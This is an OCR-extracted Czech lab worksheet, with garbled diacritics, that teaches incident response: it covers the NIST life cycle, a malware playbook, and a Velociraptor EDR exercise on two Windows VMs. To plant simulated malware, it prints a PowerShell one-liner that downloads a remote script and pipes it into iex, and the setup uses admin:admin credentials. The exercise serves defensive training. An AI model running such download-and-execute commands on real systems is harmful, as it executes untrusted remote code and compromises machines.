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Cile
Uvedeni vsech cili, kterych bude v ramci této ulohy dosazeno, dle Bloomovy taxonomie vyukovych cilt (viz. Pfiloha
1)

e Popsat hlavni faze zvladani kybernetickych bezpecnostnich incidentt
e Vysvétlit zakladni principy uziti EDR systému

e [lustrovat moznosti pouziti EDR na ptikladech

Dovednosti

Uvedeni vSech dovednosti, které by si zaci méli v ramci této tlohy osvojit, dle Bloomovy taxonomie vyukovych cilt

(viz. Ptiloha 1)

e Pouzit systém typu EDR pro zakladni interakci se vzdalenym pocitacem v kontextu zvladani kybernetic-

kych bezpec¢nostnich incidentt.

Pracovni prostiredi

Ulohu Ize realizovat v prostiedi:

o Jakékoli prostiedi (lokalni, cloudové, ...), v némz je mozné spustit 2 vzajemné propojené virtualni stroje

s OS Windows.
Pro préaci budeme potiebovat nasledujici néstroje:

e 2 virtualni stroje s OS Windows

e Velociraptor



Pribéh vyuky

1 Teoreticka ¢ast (Zvladani kybernetickych bezpec¢nostnich incidentii)
Pred vlastnim praktickym cvi¢enim lze doporucit probrat/zopakovat zaklady problematiky zvladani kybernetickych
bezpec¢nostnich incidentll, a to minimaln¢ v rozsahu Zivotniho cyklu zvladani incidentd popsaného ve standardu NIST

SP 800-61r2? (alternativné dle Zivotniho cyklu popsaného v ISO 27035-1:2016).

\'. o~
7, 2 .\
Containment

Detection & Eradication Post-Incident

Preparation Analysis & Recovery Activity

Obr. 1 - Zivotni cyklus zvladani KBI [zdroj: NIST]

1.1 Vyznamné aspekty Zivotniho cyklu zvladani KBI
Z pohledu odborné praxe je vhodné akcentovat zejména nasledujici skute¢nosti vazici se k jednotlivym ¢astem vyse

vyobrazeného Zivotniho cyklu:

1. [Preparation] Pfedem nepromysleny ad hoc piistup ke zvladani KBI je neoptimalni a incidenty by tak mély
byt v ramci organizaci vzdy zvladany podle pfedem piipravenych obecnych planti a procest (a optimalné sou-
visejicich specifickych ,,scénaft* pro zvladani rtiznych typa? incidentd — tzv. playbookt/runbookti — viz napf.

https://docs.microsoft.com/en-us/security/compass/incident-response-playbooks). V ramci faze ,,Preparation

by tak mély byt vedle vycviku personalu, ktery bude provadét reakci na incidenty, a zajiSténi nezbytnych tech-
nickych mechanismil rovnéz vytvoreny vysSe popsané plany a formalizovany s nimi souvisejici procesy.

2. [Detection & Analysis] Na zakladé vytvorenych procest by mél nasledné zacit probihat vlastni bezpe¢nostni
monitoring zaméteny na detekci potencialnich bezpecnostnich incidentt (tato problematika Casto spada do

kompetenci SOC). V ptipad¢ identifikace potencialniho bezpe¢nostniho incidentu by mél odpoveédny personal

1 https://csre.nist.gov/publications/detail/sp/800-61/rev-2/final
2 https://github.com/enisaeu/Reference-Security-Incident-Taxonomy-Task-Force/blob/master/working_copy/humanvl.md
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provést prvotni ,.triaz*, tedy vyloucit (pfipadné potvrdit) false-positive detekci, a v pfipade true-positive de-
tekce urcit pravdépodobny typ incidentu a jeho zavaznost. Nasledn¢ by mél spustit relevantni proces pro
zvladnuti daného typu incidentu.

3. [Containment, Eradication & Recovery] Primarnim cilem pfi zvladani KBI by mélo byt minimalizovat $kody
zpusobené incidentem. To zpravidla vyzaduje (mnohdy komplexni) vysetieni incidentu a implementaci ade-
kvéatnich reaktivnich opatfeni (tato problematika obvykle spada do kompetenci CSIRT). Za timto u¢elem od-
poveédny personal zpravidla v navaznosti na identifikaci a klasifikaci incidentu identifikuje jeho zdroj (tzv.
root cause analysis — RCA) a rozsah, implementuje opatieni pro zabranéni §ifeni incidentu (naptiklad odpoji
stroje nakazené malwarem od sit€) a zajisti odstranéni vzniklych Skod (to obvykle nasledné provadi IT odde-
leni na zéklad¢ vlastnich procesti).

4. [Post-Incident Activity] U vybranych incidentd (napiiklad zamérna Skodliva akce zaméstnance, cileny malwa-
rovy utok apod.) mtize byt vedle samotného zabranéni vzniku dalSich $kod spojenych s incidentem a spusténi
procest vedoucich k odstranéni téchto Skod zddouci provést vybrané ndvazné aktivity umoznujici ziskat dalsi
informace, pfipadné dtikazy spojené se zvladnutym incidentem. Pro ziskani nezbytnych podkladi a jejich ana-
lyzu by pii tom mély byt uzivany standardizované procesy a postupy (tyto by mély byt pripraveny v ramci
uvodni faze zivotniho cyklu zvladani KBI) a odbornou vetejnosti ovéiené a uznavané forenzni techniky.

5. [Post-Incident Activity] V piipadech, kdy se po zvladnuti urcitého KBI (nebo v ramci periodického piezkou-
mani pfistupu ke zvladani KBI, napt. v ramci auditu) ukaze, Ze procesni, technické nebo personalni aspekty
zvladani KBI v organizaci jsou nevyhovujici/neoptimalni, m¢la by dana organizace provést odpovidajici zlep-

Seni a upravy (vhodné akcentovat ndvaznost na obecné dobrou praxi v podobé Demingova cyklu).

1.2 Zakladni ,,playbook* pro reakci na malwarovou infekci

Nasledujici trivialni postup by pro praktické pouziti nebyl zcela vhodny, pro potteby nize uvedeného cviceni je nicméng
plné vyhovujici a Ize tak doporucit piedstavit jej studentlim jako ilustraéni variantu playbooku pro zvladani KBI spoje-
nych s infekei Skodlivého kodu na koncové stanici v hypotetické organizaci, pro kterou by méli takovou reakci zajisto-

vat.
V pripadé identifikace potencialni infekce na koncové stanici

1. Identifikujte potencialni infekci
a) Identifikujte jakékoli nestandardni béZici procesy (ignorujte procesy OS spousténé z C:\Windows\) a
ovéite hashe s nimi spojenych soubort na sluzbé VirusTotal
i. Lokalné s pomoci nastroje Sysinternals Process Explorer
ii. Vzdalené s pomoci EDR mechanismii PSList
b) Analyzujte vyuziti obvyklych metod perzistence — ovéite nestandardni spousténé sluzby, naplanované
ulohy a aplikace spousténé po startu pocitace a ovéite hashe s nimi spojenych soubori na sluzbé VirusTo-

tal



i. Lokaln¢ s pomoci nastroje Sysinternals Autoruns
ii. Vzdalené s pomoci EDR mechanismt Services, TaskScheduler a Startupltems
2. 'V ptipade¢ identifikace skodlivého souboru izolujte zasaZeny systém a proved’te analyzu daného vzorku v lokal-
nim sandboxu
a) Ovéite spousténé (pod)procesy spojené se vzorkem
i. Lokalné s pomoci nastroje Sysinternals Process Explorer
ii. Vzdalené s pomoci EDR mechanismt PSList a PSTree
b) Identifikujte sitovou komunikaci spojenou se vzorkem
i. Lokalné s pomoci nastroje Sysinternals Process Monitor
ii. Vzdalené s pomoci EDR mechanismt Netstat a DNSCache
c) Stanovte indikatory kompromitace vyuzitelné pro detekci daného vzorku na trovni sité (je-li takova de-
tekce moznd) a koncovych bodt (vlastni implementace detekénich a reaktivnich mechanismil je mimo

ramec tohoto cviceni)

1.3 Nastroje a postupy pro lokalni technickou reakci na KBI

Prakticka ¢ast cviCeni je vénovana problematice ,,vzdalené* technické reakce na KBI v modernich organizacich s po-
moci nastroju typu Endpoint Detection and Response (EDR). Pro ilustraci potieby takovych nastrojti a demonstraci
moznosti provadét ekvivalentni reakci ve chvili, kdy je mozné interagovat s potencialné postizenym zatizenim piimo/fy-
zicky, lze doporucit pied piechodem k praktické ¢asti demonstrovat studentiim moznosti vy$e zminénych nastroju z ba-
liku Sysinternals®. Vhodné postupy a oblasti pro demonstraci miiZe nastinit napiiklad prezentace dostupna na https://un-

trustednetwork.net/files/russinovich-malware-hunting-with-the-sysinternals-tools.pdf.

3 https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
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2 Prakticka ¢ast (Reakce na bezpecnostni incidenty s pomoci EDR)

Pro nize popsané cviceni je nezbytné pfipravit 2 virtualni stroje s ,,¢istou” instalaci 64-bitového OS Windows 10 (ope-
racni systém serveru je potencialn¢ mozné nahradit serverovou verzi OS Windows a OS koncového bodu jinym vhod-
nym systémem, napt. Windows 11, nicméné v takovém piipad¢ je v§ak vhodné pred cvi¢enim ovéfit funk¢nost uziva-

nych skriptl a nastroji) s nasledujicim nastavenim:
e |P adresa serveru 192.168.90.1
e [P adresa koncového bodu 192.168.90.2

e Oba stroje musi mit nefiltrovany pfistup do internetu a musi byt umoznéna jejich vzajemna sitova komunikace

2.1 Instalace EDR serveru a agentu

EDR systémy jsou obecné zalozeny na architektonickém konceptu klient-server, pfi¢emz klientem je agentska aplikace
instalovanéd na koncové body a serverem vlastni analytickd a fidici aplikace pro EDR systém. Pro potteby simulace
vyuziti EDR v prostiedi redlné organizace tak nejprve nainstalujeme ob& komponenty open-source feSeni Velociraptor?
na nami vytvorené virtualni stroje. Velociraptor neni plnohodnotnym EDR systémem, nicméné jeho funkcionality jsou

pro potieby tohoto cviceni plné dostacujici.
Na serverovém stroji (192.168.90.1):

1. Stahnéte na server Velociraptor ve verzi EXE pro 64-bitové Windows z https://github.com/Velocidex/velocirap-

tor/releases (testovana verze 0.6.4-2, ale jakakoli vys$§i by méla byt s cvi¢enim kompatibilni).
2. Vytvoite slozku C:\Velociraptor, staZzeny soubor do ni pfesuiite a piejmenujte jej na velociraptor.exe
3. Spustte piikazovou fadku ve sloZzce C:\Velociraptor a spust'te generovani konfigura¢nich soubort pro klient a

server s pomoci nasledujiciho ptikazu.

C:\Velociraptor> velociraptor config generate -i

4. Ptectéte si postupné moznosti nastaveni a potvrd’te defaultni volby pro prvnich 7 nastaveni (po DynDNS).
5. U 8. volby (mozZnost autorizace uzivatele) pfidejte uzivatele ,,admin® a potvrd’te enterem, nasledné danému

uzivatelskému 0¢tu nastavte heslo ,,admin‘.

4 https://velociraptor.velocidex.com/
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Bl C\Windows\System32\cmd.exe - velociraptor config generate i - m] X

I will be creating new deployment configuration for you. I will
begin by identifying what type of deployment you need.

What 0S5 will the er be deployed on?

Path to the datastore directory.

What is the public DNS name of Master Frontend (e.g. www.example.com):
Enter the frontend port to lis n

Enter the port for the GUI

Are you u Google Doma E

Gl r email address to authorize (empty to end):

6. Prectéte si postupné moznosti nastaveni a potvrd’te defaultni volby pro zbyla nastaveni.
7. Oveite, ze ve slozce C:\Velociraptor byly vytvofeny soubory client.config.yaml a server.config.yaml, oba sou-
bory oteviete a podivejte se na jejich obsah.
8. V konfiguraénim souboru pro klient (client.config.yaml) zméite IP adresu serveru na 192.168.90.1.
Napovéda — relevantni nastaveni je pod fadkem ,,server_urls:*

9. Piejmenujte soubor client.config.yaml na Velociraptor.config.yaml.
Na klientském stroji (192.168.90.2):

10. Stahnéte instalator pro Velociraptor (https://github.com/Velocidex/velociraptor/releases) ve formé MSI sou-

boru.

11. Nainstalujte MSI s defaultnimi nastavenimi (neleknéte se, instalace je velmi "ticha")

12. Ze serveru pieneste soubor Velociraptor.config.yaml (libovolnym zplisobem — prosté manualni pfekopirovani
obsahu YAML souboru pies schranku, pies sdileni soubor ve Windows, nebo jakkoli jinak) na klientsky po-

¢ita¢ do slozky C:\Program Files\Velociraptor.

2.2 Spusténi EDR a ovéreni jeho funkce
V tuto chvili mame vSe pfipraveno pro vyuzivani EDR — nezbyva tedy nez jen spustit serverovou komponentu EDR a

zajistit, aby se k ni ptipojil klient.
Na serverovém stroji (192.168.90.1):

1. Spust'te serverovou komponentu Velociraptoru s pomoci nasledujiciho ptikazu.

C:\Velociraptor> velociraptor --config server.config.yaml frontend -v

V piipadé€ zobrazeni okna pro nastaveni Windows Firewallu povolte Velociraptoru komunikaci v privatnich i

vetejnych sitich


https://github.com/Velocidex/velociraptor/releases

2. Oteviete v prohlize¢i GUI rozhrani serveru (URL https://127.0.0.1:8889/), ignorujte varovani o nedtvéryhod-

ném certifikatu a piihlaste se s pomoci uétu vytvofeného v ramci uvodni konfigurace (admin:admin).

Windows Defender Firewall has blocked some features of velociraptor on all public and private
networks.

Name: wvelodraptor
Publisher: Unknown

Path: C:\velodraptorivelociraptor.exe

Allow velodraptor to communicate on these networks:
[Abiivate networks, such s my home o work network

Public networks, such as those in airports and coffee shops {(not recommended
because these networks often have litde or no security)

that are the risks of allowing an app through a firewall?

G&"DW access Cancel

< x

I © | https;//127.0.0.1:8839/ b d e

This site is not secure

This might mean that someone’s trying to fool you
or steal any info you send to the server. You should
close this site immediately.

Windows Security =
Microsoft Edge
The server 127.0.0.1 is asking for your user name and password.

That server also reports: "Restricted".

| admin ‘

OK Cancel

Restartujte klientsky systém, a zatimco bude nabihat (klient Velociraptoru se na ném spusti jako sluzba po startu

OS), projdéte si webové rozhrani Velociraptoru S pomoci jeho dokumentace (https://docs.velociraptor.app/).

Po nabéhnuti klientského systému si zobrazte seznam k serveru piipojenych klientd kliknutim na tlacitko Sipky

vedle vyhledavani a zvoleni moznosti ,,Show All“.

= O @ M\ Certificate error | httpsy//127.0.0.1:3
_ ?‘ﬁ Search clients Q -
e ¢

Server status

The following are total across all frontends.

= Show All

A Recent Hosts
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5. Ovéite, ze je klient k serveru pfipojen (jméno se bude lisit od obrazku nize). Pokud ne, klientsky pocita¢ restar-

tujte (alternativné na ném restartujte sluzbu Velociraptor Service).

=% = Q|-
e W

@

Client ID

s

Hostname %

DESKTOP-NFEODFV

Fadn ¢

DESKTOP-NFEODFYV

08 Version

Micrasoft Windows 10 Enterprise10.0.18363 Build 18363

_ 25 W0 50 Iﬂ

6. Ovéeite spojeni s klientem a vyzkousejte si vzdalenou interakci s ptikazovou fadkou — kliknéte na 1D klientu,
nasledn¢ na tlacitko Shell (v pravém hornim rohu GUI), pfepnéte aktivni shell z Powershellu na Cmd a spust'te

ptikaz ipconfig. Jeho vystup zobrazite kliknutim na ikonu oka (ziskani vystupu muze n€kolik vtefin trvat).

@ Interrogate = B VFS ‘D Collected 1 W

=

ipconfig

aL
ar

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPvé Address

IPv4 Address
Subnet Mask

: 10.8.2.15
: 255.255.255.8

Default Gateway

fed@::cllb:48be:26b6: lcackls

10.0.2.2

Ethernet adapter Ethernet 2:

Connection-specific DNS Suffix

Link-local IPv6 Address

: fedd::cdl9:4bfb:cech:5884%11

IPv4 Address
Subnet Mask

: 255.255.255.8

Default Gateway

192.168.98.2

2.3 Infikovani klientu

V tuto chvili méme jiz celou infrastrukturu pfipravenou a mohli bychom s pomoci ni vzdalené reagovat na piipadné
kybernetické incidenty, k nimZ by na klientském pocitaci mohlo dojit (pfedstavte si, Ze klientskych pocitaci mame
nekolik tisic a jsou rozmisténé v kancelarich po celém svété — v takovém piipade je schopnost vzdalené reakce v realném
Case nesmirn¢ cenna). Abychom nasimulovali bezpecnostni incident, infikujeme klientsky pocita¢ simulovanym skod-

livym kodem.
Na klientském stroji (192.168.90.2):

1. Oteviete konzoli PowerShellu a spust'te v ni nasledujici ptikaz, ktery zajisti stazeni a instalaci malwaru.



PS C:\Users\admin> (New-Object
System.Net.WebClient) .DownloadString ("https://www.untrustednetwork.net/files/2022/cichnova/

l.psl"™) | iex

2. Anti-malware systém by mél nasledné detekovat novy malware v souboru slack.exe ve slozce Downloads.
Pokud by se automaticky hlaseni neobjevilo, nechte manualn€ s pomoci anti-malware systému Defender inte-

grovaného ve Windows oskenovat slozku Downloads.

YO Protection history

View the latest protection actions and

W Virus & threat protection

Threats found recommendations from Windows Security.
Winc Defende
All recent items Filters v
(B Threat found - action needed. Severe

5/27/2022 3:20 AM

Status: Active
Active threats have not been remediated and are running

on your device.

Threat detected: Virus:DOS/EICAR_Test_File

Alert lavel: Severe

Date: 5/27/2022 3:20 AM

Category: \Virus

Details: This program is dangerous and replicates by
infecting other files.

Learn more

Affected items:

file: CA\Users\admin\Downloads\slack.exe

Actions

Vyse zminéna detekce (ponechme stranou, Ze jde o testovaci soubor EICAR — skodlivy aktéfi EICAR nékdy
mohou vyuzivat, aby vyvolali ,,benigni® varovani a skryli s pomoci né&j jinou $kodlivou aktivitu) by v pro-
stfedi modernich organizaci méla byt zaznamenana v SIEM, ptipadné ze strany jiného mechanismu uzivaného
pro bezpecnostni dohled. Dle stanovenych internich postupti by pak mohla byt spusténa i vlastni reakce na
bezpecnostni incident. Tu si nyni vyzkousime.

2.4 Reakce na incident spojeny se §kodlivym koédem na koncové stanici

V navaznosti na detekci malwaru na koncové stanici nyni s pomoci EDR provedeme jednotlivé kroky z vyse popsa-

ného playbooku a incident vySetfime.

Na serverovém stroji (192.168.90.1):

1. Zvolte ve Velociraptoru klientsky pocita¢ s pomoci stejného postupu, ktery jsme provedli vyse.
10



2. Z menu (muzete rozkliknout ikonu tfi ¢ar v levém hornim rohu GUI) zvolte moznost Collected Artifacts. Tato

volba ndm umozni interagovat s klientskym pocitacem pomoci piedpfipravenych analytickych nastroju.

?‘ﬁ all Q -

Home

LVFS D Collected 1@ @

€ Hunt Manager
>~

View Artifacts ODFV

C.65fbc2634d2c0a8a
2022-05-08T21:40:03+10:00

velociraptor

[ (s 2022-05-27 09:47:13 UTC

2022-05-27 10:34:28 UTC
192.168.90.2:49687

&= \Virtual Filesystem
‘D Collected Artifacts
i\ Client Events .
em windows

DESKTOP-NFEODFV

DESKTOP-NFEODFV

Microsoft Windows 10 Enterprise10.0.18363 Build 18363
amd64

3.V souladu s playbookem nyni zkusime identifikovat potencialni infekci klientského stroje. Po kliknuti na ikonu
T v1levém hornim rohu GUI se zobrazi seznam ptedptipravenych skriptii/nastroji pro sbér dat z klientskych
stanic. Po zvoleni konkrétni ,,kolekce je mozné ji s pomoci tlacitek dole ve zobrazeném okné nakonfigurovat
a nasledné spustit.

a. Zacneme identifikaci bézicich procesti s pomoci nastroje PSList — do vyhledavaciho okna zadejte
,»pslist, zvolte Windows.System.Pslist a piectéte si popis dané kolekce. Nasledné ji s pomoci tlacitka

,Launch spust’te.

New Collection: Select Artifacts to collect

pslist
Linux.Sys.Pslist

Windows.System. Pslist

b. Po probéhnuti kolekce se ve sloupci State v GUI objevi indikace korektniho spusténi. Po kliknuti na

jméno kolekce je nasledné mozné projit jeji vystupy v zaloZce Results. Pfepnéte se tedy do ni.
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c. V zalozce Results uvidime v pripadé této kolekce seznam bézicich procesti na naSem klientu. Nyni by-
chom potrebovali identifikovat procesy, které jsou z naseho pohledu potencialn¢ podezielé. Dle play-
booku mame pfi tom ignorovat procesy spusténé z cesty C:\Windows. Pro snazsi zpracovani by bylo
mozné vystup z kolekce stahnout jako JSON nebo CSV soubor, v tomto piipadé vSak bude dostacujici

settidit jednotlivé procesy dle sloupce Exe — to je mozné provést po kliknuti na ikonu trychtyte...

+ & @ & @

State = Flowld

F.CASALFE1442VA
F.CASA1PC2BPCLO
F.CAB9S89QK2HAK

Artifact Caollection Uploaded Files

Overview

Artifact Names
Flow ID
Creator
Create Time
Start Time
Last Active
Duration
State
Ops/Sec
CPU Limit
IOPS Limit

Timeout

Artifacts

Windows System Pslist
Windows. System CmdShell

Generic Client.Info

Requests Results Log

[£ windows . System.Pslist
F.CASALFE1442VA
admin

2022-05-27 10:41:01 UTC
2022-05-27 10:41:01 UTC
2022-05-27 10:41:05 UTC
3.62 Seconds

FINISHED

Unlimited

Unlimited

Unlimited

600 seconds

@

Created =

2022-05-27 10:41:01 UTC
2022-05-27 09:59:01 UTC
2022-05-27 09:47:-13 UTC

Notebook

Artifact Collection Uploaded Files Requests

Windows System Pslist

m- i X B

Results Log Notebook

...a zvolit setfidéni dle sloupce Exe od A do Z.

d. Pro snazsi Citelnost je jesté vhodné omezit vypis pouze na jména spusténych soubort (sloupec Exe) a

jejich hashe (sloupec Hash) — upravte tedy odpovidajicim zpisobem zobrazeni vystupu s pomoci ikony

tabulky.

Transform table

Sort Column

Filter Column

Unset

12



Ariifact Collection  Uploaded Files
Windows System Pslist
m- H 4 B Y

Clear All

Pid
Ppid

Name

Exe
Hash

TokenisElevated

CommandLine

Authenticode

Usemame:

WorkingSetSize

Results

Notebook

e. Projdéte vSechny soubory spusténé z jinych umisténi nez C:\Windows — minimaln¢ dle cest, z nichz

~vvr o7

jsou spustény se zda, Ze ptjde vyhradné o legitimni aplikace. V piipadé, Ze si nékterym z bézicich pro-

cesu presto nebudete jisti, vyhledejte nékterou jeho hash na sluzbé VirusTotal a ovéite, zda je proces

skutec¢né benigni.

4. Mezi bézicimi procesy jsme nenasli zadny zjevné skodlivy SW, miizeme se tedy piesunout ke kontrole moznosti

perzistence. V souladu s playbookem tedy ovéiime instalované sluzby, planované ulohy a soubory spousténé

po startu.

a. Pro ziskani seznamu instalovanych sluzeb pouzijeme kolekci Windows.System.Services. Pro analyzu

vystupl je mozné pouzit analogicky postup jako u procesti — setiidit data dle sloupce Path a omezit

vypis pouze na relevantni sloupce.

Artifact Collection
Windows System.Services
M~ in £ B T

State Status
Stopped 0K
Running 0K
Running 0K
Stopped 0K
Stopped 0K
Running 0K
Running OK
Stopped 0K

Uploaded Files

Requests

Pid

1820
1228

2748
5760

Results Log Notebook

PathName

"C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE_EXE"
"C:\Program Files\Microsoft Update Health Tools\uhssvc.exe”

"C:\Program Files\VelociraptortVelociraptor.exe” service run

"C:\Program Files'\Windows Defender Advanced Threat Protection\MsSense.exe”
"C:\Program Files\Windows Media Player'wmpnetwk.exe"
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2203.5-0'MsMpEng.exe"
"C:\ProgramData\Microsoft\Windows Defender\platform\4 18 2203 5-0'\NisSrv.exe"

"C:\Windows\system32\wbengine.exe"

Jak se z cest k soubortim (alespori na prvni pohled) zda, ani mezi sluzbami se nenachazi zadny maligni

koéd. Mzeme se tedy presunout k analyze naplanovanych uloh.

b. Pro ziskani seznamu naplanovanych Gloh pouzijeme kolekci Windows.System.TaskScheduler. Pro ana-

lyzu vystupt je mozné opét pouzit analogicky postup jako u procesu a sluzeb — setfidit data dle vhod-

ného sloupce (tentokrat optimalné FullPath) a omezit vypis pouze na relevantni sloupce.
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Artifact Collection Uploaded Files Requests Results Log Notebook

Windows.System. TaskScheduler/Analysis
m~ i £ B Y
FullPath Command

C:\Windows\System32\Tasks'Microsoft\Office\Office 15 Subscription Heartbeat %ProgramFiles%\Common Files\Microsoft
Shared\Office 16\OLicenseHeartbeat.exe

C:\Windows\System32\TasksMicrosoft\Office\Office TelemetryAgentFallBack2016 "C:\Program Files\Microsoft
Office\Office 16\msoia.exe"

C\windows\System32\Tasks\Microsoff\Office\Office TelemetryAgentLogOn2016 "C-\Program Files\Microsoft
Office\Office 16\msoia_exe”

Ani v tomto ptipadé¢ se nezda, Ze bychom objevili potencialné skodlivy kod, pfesuneme se tedy k po-
sledni oblasti perzistence, kterou mame dle playbooku ovétit — soubory spousténé po startu OS.

Pro ziskani seznamu souboril spousténych po startu pouzijeme kolekci Windows.Sys.Startupltems.
V piipadé potieby miizeme opét pouzit filtraci vystupti, nicméné vzhledem k tomu, ze spousténych sou-
borti by mélo byt velmi omezené mnozstvi, miizeme vystup analyzovat i ptimo. Jiz na prvni pohled
totiz piisobi ,,neCekanym® dojmem soubor login.scr — jednak diky jménu a ptiponé (SCR je format
spofice obrazovky, nicméné jde o standardni PE soubor — tedy de facto pfejmenované EXE), ale rovnéz

v disledku umisténi a s nim spojeného ,,ptikazu”.

Artifact Collection Uploaded Files Requests Results Log Notebook

Windows.Sys. Startupltems
m- i & B Y
Name FullPath Command

SecurityHealth HKEY_LOCAL_MACHINE\SOF TWAREMicrosoft\Windows\CurrentVersion\Run\SecurityHealth %windir%!\system32\SecurityHealthSystray.exe

VBoxTray HKEY_LOCAL_MACHINE\SOF TWAREWMicrosoft\Windows\CurrentVersion\Run\VBoxTray C:\Windows\system32\VBoxTray exe

OneDriveSetup HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Run\OneD C:\Windc OW64\0OneD! exe

OneDriveSetup HKEY_USERS\S-1-5-20\Software\MicrosofttWindows\CurrentVersion\Run\OneDri p C:\Wi OW64\OneDri exe

OneDrive HKEY_USERS\S-1-5-21-629909437-3640504488-2700473893- "C:\Users\admin\AppData\l ocal\Microsoft\OneDrive\OneDrive.exe" /background
1001\Software \Microsoft\Windows\CurrentVersion\Run'OneDrive

desktop.ini C:\ProgramData\Microsof Menu\P p\desktop.ini [-ShellClassinfo] LocalizedResourct temRoot%\syste 2\shell32 dll-21787

desktop.ini C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start [-ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21787

Menu\Programs\Startup\desktop.ini
login.scr C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\login.scr 0000000, 000@0000000000000000000ANE S8 S et e MG T B3 BUEZ 30 ~5
_.0.0000000@3B00000000000000000000H000x«0° 0 0_£000000000000000
®O00IE, 0Z0ERDENDROE - DXOESEE/0F0EI038000 'oo+E® 300701 O 0OWO- 60!
40005000000000C00000000000000000D00007JEJOGNDO0ozeyOVeyTmeyDoyTloyToy|

Zminény soubor si tedy pfinejmensim zaslouzi blizsi kontrolu. Dle playbooku bychom pro ni méli
vyuzit hash souboru, kterou ovétime s pomoci sluzby VirusTotal. Pro ziskani dané hashe vyuzijeme
jednu z dal8ich zajimavych ,kolekci®, které Velociraptor nabizi — kolekci pro stazeni souboru z klient-
ského pocitace Generic.Collectors.File.

Pro pouziti kolekce Generic.Collectors.File je na rozdil od dfive pouzitych kolekci nezbytné nakonfi-
gurovat jeji parametry. To je mozné provést po vybéru této kolekce s pomoci tlac¢itka ,,Configure Para-

meters® a kliknuti na ikonu klice.
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New Collection: Configure Parameters

+ Artifact

F i Generic.Collectors File

Select Artifacts JROLWNDIEREIENNEECE  Specify Resources  Review  Launch

Nasledné je tieba specifikovat soubor, ktery chceme z klientu stahnout — kliknutim na ptfednastavenou

cestu k souboru ji naeditujeme a vlozime do ni cestu k zdjmovému SCR souboru (bez uvozujiciho

,,C:\). Poté miizeme kolekcei spustit.

New Collection: Configure Parameters

Artifact

Generic. Collectors. File

collectionSpec + Glob
+ § \AppData\Roaming\Mi \Start Menu\Programs\Startup\login. sci|
Root C:
Accessor lazy_ntfs

Separator \

Soubor, ktery Velociraptor z klientu ziskal, najdeme pod zalozkou ,,Uploaded Files®, odkud jej miizeme

stahnout, coz provedeme kliknutim na jeho nazev.

Afifact Collection ~ Uploaded Files ~ Requests  Results  Log  Nolebook
m- A
Timestamp started vis_path file_size uploaded_size
1653651533 2022-05-27 11:38:53 5485691 lients/C B5fbc2634d2c0adalcollections/F CABBGJ2QKITHA/uploads lazy_ntfs™\\C-"Users/admin/AppData/Roaming/MicrosoftWindows/Start 8192 8192
+0000 UTC Menu/Programs/Startup/ogin

n 25 30 50 Showingrows 1io10of1
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f. Ze stazeného souboru spocitejte SHA256 hash — mizete pouzit napiiklad cmdlet Get-FileHash

v PowerShellud)...

PS C:\Users\admin\Downloads> Get-FileHash .\login.scr

...avyslednou hash ovéfte s pomoci sluzby VirusTotal.
g. Pocet detekcei pro zajmovy soubor je nezanedbatelny a vzhledem k umisténi daného souboru Ize pted-
pokladat, ze skute¢né pijde o Skodlivy kod (je vhodné zduraznit, ze ve skutecnosti jde pouze o jeho

simulaci vytvofenou pro potieby obdobného cviceni).

N

7 (1) 7 security vendors and no sandboxes flagged this file as malicious

edfd7f92274efcc 1998aT645acE 10400b1eadT4cc29df4a4f12221605ae3b 8.00 KB 2021-06-23 07:50:09 UTC
scvhost.exe

i) (et detect-deb D C=F T peexe

V této chvili by tedy bylo dle naseho playboooku na misté izolovat nakazeny systém a provést analyzu
daného vzorku v lokalnim sandboxu. V ramci naseho cviéeni pro jednoduchost izolaci stroje provadét
nebudeme (Velociraptor ji nicméné do jisté miry umoznuje zajistit a v piipad¢ zajmu se tak s ni mizete
seznamit v ramci samostudia dokumentace sami) a jako lokalni sandbox vyuZzijeme nas klientsky poci-

1%

tac...

Vzhledem k tomu, Ze se $kodlivy soubor vzhledem ke svému umisténi sim spusti po pfistim startu

klientského pocitace, proved’te jeho restart a nasledné pokracujte v analyze.

Na serverovém stroji (192.168.90.1):

1. Vsouladu s playbookem opét ovéite spusténé procesy — pouzijte opét kolekci Windows.System.Pslist. Mezi
bezicimi procesy byste méli nove najit i nas login.src.

2. Abychom ziskali dodatecné informace o tomto procesu a piipadné procesech, které jsou na zajmovy proces
navazané, pouzijeme navic také kolekci Generic.System.Pstree, kterd nam poskytne data ohledné vazeb mezi
procesy.

Pro snazsi analyzu jejiho vystupu je mozné pouzit filtraci s pomoci regularniho vyrazu omezujiciho obsah

sloupce CallChain vyhradné€ na hodnoty obsahujici jméno souboru ,,Jogin.src®.

Transform table

Sort Column ‘ 12 | Unset v

Filter Column CallChain e

Filter Regex login\.scr

5 https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.2

16


https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.2

Z vystupu je jasné€ patrné, ze mezi bézicimi procesy neni zadny takovy, ktery by byl spustén ze strany zajmo-

vého procesu.

Artifact Collection Uploaded Files Requests Results Log Notebook
Generic.System Psiree
m~ i £ B YT
Name Pid Ppid CallChain

login.scr 7048 3772 login.scr <- explorer.exe

10 25 30 Showing rows 1 to 1 of 1 « n » Goto Page

3.V tuto chvili bychom se dle naseho playbooku méli pfesunout k overeni sitové komunikace spojené se zajmo-
vym souborem/procesem. Za timto ucelem pouzijeme kolekci Windows.Network.Netstat, jejiz vystup mizeme

filtrovat podobné jako ten vyse uvedeny na pfitomnost jména ,,login.src* ve sloupci Name (vas vystup se muze

liit)
Artifact Collection Uploaded Files Requests Results Log Notebook
dows.Netwo
m- H £ B T T
Pid Name Family Type Status Laddr.IP LaddrPort RaddrIP Raddr.Port Timestamp
7048 lagin scr 1Pv4 TCP ESTAB 100215 49682 2238218 443 2022-05-27T12:02 347
7048 login scr IPvd TCP CLOSE_WAIT 100215 49766 81918614 443 2022-05-27T12:14°362

4. 'V tuto chvili by bylo na misté ovéfit, zda se zjisténa IP adresa/zjisténé IP adresy nenachazi na néjakém bloc-
klistu obsahujicim znamé Skodlivé IP adresy, jesté pied tim je vSak dle nasSeho playbooku na misté pouziti dalsi
